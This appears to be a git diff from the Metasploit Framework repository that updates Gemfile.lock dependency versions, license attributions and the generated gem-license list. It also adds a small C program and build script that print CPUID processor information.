activesupport (= 4.2.10)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.11)
|
||||
activesupport (4.2.10)
|
||||
i18n (~> 0.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
@@ -109,53 +103,39 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.8.0)
|
||||
arel-helpers (2.6.1)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.4)
|
||||
bcrypt (3.1.12)
|
||||
backports (3.11.1)
|
||||
bcrypt (3.1.11)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.4)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.4)
|
||||
daemons (1.3.1)
|
||||
crass (1.0.3)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
ed25519 (1.2.4)
|
||||
em-http-request (1.1.5)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
eventmachine (>= 1.0.3)
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.3.0)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.1)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_bot_rails (4.11.1)
|
||||
factory_bot (~> 4.11.1)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.15.4)
|
||||
faraday (0.14.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
loofah (2.2.3)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.3)
|
||||
@@ -163,12 +143,11 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.2)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
net-ssh
|
||||
pg (~> 0.15)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
@@ -177,8 +156,8 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.58)
|
||||
metasploit_data_models (3.0.4)
|
||||
metasploit-payloads (1.3.32)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
@@ -188,28 +167,28 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.1)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.4.0)
|
||||
metasploit_payloads-mettle (0.3.7)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.6)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (5.1.0)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.1)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.13.0)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.2)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.2.0)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -217,17 +196,15 @@ GEM
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.12.2)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.3)
|
||||
rack (1.6.11)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.9)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -238,19 +215,19 @@ GEM
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.11)
|
||||
actionpack (= 4.2.11)
|
||||
activesupport (= 4.2.11)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.2)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.45)
|
||||
recog (2.1.18)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.6)
|
||||
rex-bin_tools (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
@@ -261,7 +238,7 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.20)
|
||||
rex-exploitation (0.1.17)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -274,7 +251,7 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.79)
|
||||
rex-powershell (0.1.77)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
@@ -284,48 +261,48 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.15)
|
||||
rex-socket (0.1.13)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.21)
|
||||
rex-text (0.2.16)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.8.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.2)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.1.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.2)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
@@ -334,40 +311,28 @@ GEM
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
sinatra (1.4.8)
|
||||
rack (~> 1.5)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (>= 1.3, < 3)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (0.20.3)
|
||||
thor (0.20.0)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.9)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.9)
|
||||
tzinfo-data (1.2018.4)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.16)
|
||||
yard (0.9.12)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
factory_bot_rails
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-framework!
|
||||
octokit
|
||||
@@ -377,9 +342,8 @@ DEPENDENCIES
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
swagger-blocks
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.3
|
||||
1.16.1
|
||||
|
||||
@@ -71,6 +71,10 @@ Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
@@ -111,10 +115,6 @@ Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
@@ -603,54 +603,6 @@ License: Artistic
|
||||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
+85
-91
@@ -1,136 +1,130 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.3, MIT
|
||||
actionpack, 4.2.11, MIT
|
||||
actionview, 4.2.11, MIT
|
||||
activemodel, 4.2.11, MIT
|
||||
activerecord, 4.2.11, MIT
|
||||
activesupport, 4.2.11, MIT
|
||||
addressable, 2.5.2, "Apache 2.0"
|
||||
Ascii85, 1.0.2, MIT
|
||||
actionpack, 4.2.9, MIT
|
||||
actionview, 4.2.9, MIT
|
||||
activemodel, 4.2.9, MIT
|
||||
activerecord, 4.2.9, MIT
|
||||
activesupport, 4.2.9, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.8.0, MIT
|
||||
backports, 3.11.4, MIT
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.0, MIT
|
||||
bindata, 2.4.4, ruby
|
||||
arel-helpers, 2.4.0, unknown
|
||||
backports, 3.8.0, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.4, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
bundler, 1.15.1, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.2, "Apache 2.0"
|
||||
docile, 1.3.1, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
dnsruby, 1.60.1, "Apache 2.0"
|
||||
docile, 1.1.5, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 4.11.1, MIT
|
||||
factory_bot_rails, 4.11.1, MIT
|
||||
faker, 1.9.1, MIT
|
||||
faraday, 0.15.4, MIT
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
factory_girl, 4.8.0, MIT
|
||||
factory_girl_rails, 4.8.0, MIT
|
||||
faraday, 0.12.1, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
fivemat, 1.3.5, MIT
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.4.1, "New BSD"
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
i18n, 0.8.6, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
loofah, 2.2.3, MIT
|
||||
jwt, 1.5.6, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.0.3, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.2, "New BSD"
|
||||
metasploit-framework, 5.0.2, "New BSD"
|
||||
metasploit-credential, 2.0.10, "New BSD"
|
||||
metasploit-framework, 4.15.0, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.4, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.11.3, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.2.6, "Apache 2.0"
|
||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.15, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.2, MIT
|
||||
mini_portile2, 2.2.0, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 5.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.1, MIT
|
||||
octokit, 4.13.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.1.0, BSD
|
||||
nokogiri, 1.8.0, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.2.0, MIT
|
||||
pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.0.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 3.0.3, MIT
|
||||
rack, 1.6.11, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.0.4, MIT
|
||||
railties, 4.2.11, MIT
|
||||
rake, 12.3.2, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.1.45, unknown
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.9, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.11, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.20, "New BSD"
|
||||
rex-exploitation, 0.1.15, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.79, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.15, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.21, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.8.0, MIT
|
||||
rspec-core, 3.8.0, MIT
|
||||
rspec-expectations, 3.8.2, MIT
|
||||
rspec-mocks, 3.8.0, MIT
|
||||
rspec-rails, 3.8.1, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec, 3.6.0, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
rspec-expectations, 3.6.0, MIT
|
||||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.8.0, MIT
|
||||
ruby-macho, 2.1.0, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.0.5, "New BSD"
|
||||
ruby_smb, 0.0.18, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.2, "Simplified BSD"
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
simplecov, 0.16.1, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
swagger-blocks, 2.0.2, MIT
|
||||
thin, 1.7.2, "GPLv2+, Ruby 1.8"
|
||||
thor, 0.20.3, MIT
|
||||
thor, 0.19.4, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.9, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2018.9, MIT
|
||||
warden, 1.2.7, MIT
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.16, MIT
|
||||
yard, 0.9.9, MIT
|
||||
|
||||
Executable
+11
@@ -0,0 +1,11 @@
|
||||
#!/bin/sh
|
||||
|
||||
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
|
||||
strip cpuinfo.ia32.bin && \
|
||||
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
|
||||
strip cpuinfo.ia64.bin && \
|
||||
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
|
||||
strip cpuinfo.exe
|
||||
|
||||
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe
|
||||
|
||||
Executable
+64
@@ -0,0 +1,64 @@
|
||||
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
|
||||
|
||||
/*
|
||||
#!/usr/bin/env ruby
|
||||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
#
|
||||
# this sample shows the compilation of a slightly more complex program
|
||||
# it displays in a messagebox the result of CPUID
|
||||
#
|
||||
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static char *featureinfo[32] = {
|
||||
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
|
||||
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
|
||||
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
|
||||
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
|
||||
}, *extendinfo[32] = {
|
||||
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
|
||||
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
|
||||
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
|
||||
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
|
||||
};
|
||||
|
||||
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
|
||||
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned long eax, ebx, ecx, edx;
|
||||
unsigned long i;
|
||||
|
||||
cpuid(0);
|
||||
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
|
||||
|
||||
cpuid(1);
|
||||
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
|
||||
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
|
||||
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
|
||||
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
|
||||
|
||||
fprintf(stdout, "FLAGS:");
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (edx & (1 << i))
|
||||
fprintf(stdout, " %s", featureinfo[i]);
|
||||
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (ecx & (1 << i))
|
||||
fprintf(stdout, " %s", extendinfo[i]);
|
||||
|
||||
fprintf(stdout, "\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,226 +0,0 @@
|
||||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
